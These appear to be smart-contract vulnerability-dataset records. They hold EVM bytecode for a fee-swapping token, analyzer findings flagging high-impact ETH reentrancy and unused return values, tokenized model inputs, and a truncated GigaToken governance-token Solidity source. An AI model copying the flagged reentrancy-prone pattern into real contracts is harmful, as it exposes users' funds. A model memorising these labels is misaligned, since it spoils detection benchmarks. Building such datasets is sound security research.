60a01b0319166001600160a01b03928316179055600f541663f305d71947306109698161055b565b60008061097e6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a1a9190611925565b5050601080546801158e460913d0000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a9357600080fd5b505af1158015610aa7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069e91906118f1565b6000546001600160a01b03163314610af55760405162461bcd60e51b81526004016104bc906119a5565b683635c9adc5dea00000601155565b6001600160a01b038316610b665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104bc565b6001600160a01b038216610bc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104bc565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104bc565b6001600160a01b038216610cee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104bc565b60008111610d505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104bc565b6010546001600160a01b03848116911614610dd5576001600160a01b03831660009081526004602052604090205415801590610db257506001600160a01b0383166000908152600460205260409020544290610daf9062015180611a4a565b10155b15610dc6576001600b556019600c55610e19565b6001600b556008600c55610e19565b6001600160a01b038216600090815260046020526040902054610e0e576001600160a01b03821660009081526004602052604090204290555b6001600b556008600c555b6000546001600160a01b03848116911614801590610e4557506000546001600160a01b03838116911614155b15610fc4576001600160a01b03831660009081526007602052604090205460ff16158015610e8c57506001600160a01b03821660009081526007602052604090205460ff16155b610e9557600080fd5b6010546001600160a01b038481169116148015610ec05750600f546001600160a01b03838116911614155b8015610ee557506001600160a01b03821660009081526006602052604090205460ff16155b8015610efa5750601054600160b81b900460ff165b15610f5757601154811115610f0e57600080fd5b6001600160a01b0382166000908152600860205260409020544211610f3257600080fd5b610f3d42601e611a4a565b6001600160a01b0383166000908152600860205260409020555b6000610f623061055b565b601054909150600160a81b900460ff16158015610f8d57506010546001600160a01b03858116911614155b8015610fa25750601054600160b01b900460ff165b15610fc257610fb081611117565b478015610fc057610fc04761100e565b505b505b610fcf8383836112bc565b505050565b60008184841115610ff85760405162461bcd60e51b81526004016104bc9190611952565b5060006110058486611aa1565b95945050505050565b600d546001600160a01b03166108fc6110288360026112c7565b6040518115909202916000818181858888f19350505050158015611050573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61106b8360026112c7565b6040518115909202916000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006009548211156110fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104bc565b6000611104611309565b905061111083826112c7565b9392505050565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156111c157600080fd5b505afa1580156111d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f9919061174f565b8160018151811061121a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f546112409130911684610b04565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112799085906000908690309042906004016119da565b600060405180830381600087803b15801561129357600080fd5b505af11580156112a7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610fcf83838361132c565b600061111083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611423565b6000806000611316611451565b909250905061132582826112c7565b9250505090565b60008060008060008061133e87611493565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061137090876114f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461139f9086611532565b6001600160a01b0389166000908152600260205260409020556113c181611591565b6113cb84836115db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161141091815260200190565b60405180910390a3505050505050505050565b600081836114445760405162461bcd60e51b81526004016104bc9190611952565b5060006110058486611a62565b6009546000908190683635c9adc5dea0000061146d82826112c7565b82101561148a57505060095492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006114b08a600b54600c546115ff565b92509250925060006114c0611309565b905060008060006114d38e878787611654565b919e509c509a509598509396509194505050505091939550919395565b600061111083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd4565b60008061153f8385611a4a565b9050838110156111105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104bc565b600061159b611309565b905060006115a983836116a4565b306000908152600260205260409020549091506115c69082611532565b30600090815260026020526040902055505050565b6009546115e890836114f0565b600955600a546115f89082611532565b600a555050565b6000808080611619606461161389896116a4565b906112c7565b9050600061162c60646116138a896116a4565b905060006116448261163e8b866114f0565b906114f0565b9992985090965090945050505050565b600080808061166388866116a4565b9050600061167188876116a4565b9050600061167f88886116a4565b905060006116918261163e86866114f0565b939b939a50919850919650505050505050565b6000826116b357506000610423565b60006116bf8385611a82565b9050826116cc8583611a62565b146111105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104bc565b803561172e81611aff565b919050565b600060208284031215611744578081fd5b813561111081611aff565b600060208284031215611760578081fd5b815161111081611aff565b6000806040838503121561177d578081fd5b823561178881611aff565b9150602083013561179881611aff565b809150509250929050565b6000806000606084860312156117b7578081fd5b83356117c281611aff565b925060208401356117d281611aff565b929592945050506040919091013590565b600080604083850312156117f5578182fd5b823561180081611aff565b946020939093013593505050565b60006020808385031215611820578182fd5b823567ffffffffffffffff80821115611837578384fd5b818501915085601f83011261184a578384fd5b81358181111561185c5761185c611ae9565b8060051b604051601f19603f8301168101818110858211171561188157611881611ae9565b604052828152858101935084860182860187018a101561189f578788fd5b8795505b838610156118c8576118b481611723565b8552600195909501949386019386016118a3565b5098975050505050505050565b6000602082840312156118e6578081fd5b813561111081611b14565b600060208284031215611902578081fd5b815161111081611b14565b60006020828403121561191e578081fd5b5035919050565b600080600060608486031215611939578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561197e57858101830151858201604001528201611962565b8181111561198f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a295784516001600160a01b031683529383019391830191600101611a04565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5d57611a5d611ad3565b500190565b600082611a7d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a9c57611a9c611ad3565b500290565b600082821015611ab357611ab3611ad3565b500390565b6000600019821415611acc57611acc611ad3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461055857600080fd5b801515811461055857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f337b3d468f1796d7992f1c20268512fd48401a36ec0f314977630cc8f030f664736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2063, 2620, 27531, 2063, 2620, 11329, 2683, 15136, 2278, 2549, 2063, 27009, 3401, 2575, 2278, 19317, 2683, 2683, 24087, 2581, 15878, 2050, 2620, 15136, 27421, 2278, 2692, 2497, 1013, 1008, 1008, 1008, 23921, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 11895, 22083, 20939, 11493, 1008, 4037, 16770, 1024, 1013, 1013, 11895, 22083, 20939, 11493, 1012, 4012, 1013, 1008, 10474, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 11895, 22083, 20939, 11493, 1008, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1008, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,513
0x96E97F2C58Cf3bD8E7E0a06EEe835C7594F84Fae
// File: @openzeppelin/contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/SushiToken.sol // SushiToken with Governance. contract GigaToken is ERC20("GigaToken", "GIGA"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator 